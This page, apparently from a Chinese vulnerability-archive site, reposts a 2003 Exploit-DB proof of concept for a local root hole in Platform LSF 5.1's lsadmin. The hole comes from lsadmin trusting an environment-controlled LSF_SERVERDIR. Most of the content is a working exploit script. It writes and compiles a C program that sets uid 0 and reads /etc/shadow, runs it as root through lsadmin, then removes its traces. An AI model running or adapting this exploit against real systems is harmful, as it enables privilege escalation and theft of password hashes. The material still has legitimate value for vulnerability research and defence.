Platform Load Sharing Facility 4/5 – LSF_ENVDIR Local Command Execution

admin 2021年4月9日01:39:30网络安全漏洞评论51阅读模式

Platform Load Sharing Facility 4/5 - LSF_ENVDIR Local Command Execution

漏洞ID 1053774 漏洞类型
发布时间 2003-03-20 更新时间 2003-03-20
Platform Load Sharing Facility 4/5 – LSF_ENVDIR Local Command ExecutionCVE编号 N/A
Platform Load Sharing Facility 4/5 – LSF_ENVDIR Local Command ExecutionCNNVD-ID N/A
漏洞平台 Multiple CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22628
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7655/info

It has been reported that Load Sharing Facility (LSF) does not properly handle input in environment variables. Because of this, an attacker may be able to gain escalated privileges on a vulnerable system. 

# LSF 5.1 'lsadmin' local root exploit
# 2003.03.20 - CADENCE of Lam3rZ

# Proof of concept - for educational purposes only!

cat <<__END__> attacker_code.c
#include <stdio.h>
int main() {
FILE *secret_file;
FILE *temp_file;
char one_line[128];
setuid(0);setgid(0);
secret_file = fopen("/etc/shadow", "r");
temp_file = fopen(".temp.file", "w");
fgets(one_line, 120, secret_file);
fputs(one_line, temp_file);
fclose(secret_file); fclose (temp_file);
}
__END__

gcc attacker_code.c -o lim
chmod 777 lim
export LSF_SERVERDIR=.
lsadmin ckconfig
cat .temp.file
rm -f attacker_code.c lim .temp.file

相关推荐: MS Frontpage htimage.exe File Existence Disclosure Vulnerability

MS Frontpage htimage.exe File Existence Disclosure Vulnerability 漏洞ID 1104219 漏洞类型 Input Validation Error 发布时间 2000-04-19 更新时间 200…

相关文章
weinxin
我的微信
微信扫一扫
admin
  • 本文由 发表于 2021年4月9日01:39:30
  • 转载请保留本文链接:https://aqxbk.com/archives/security/securityvulns/2021/04_09/30896.html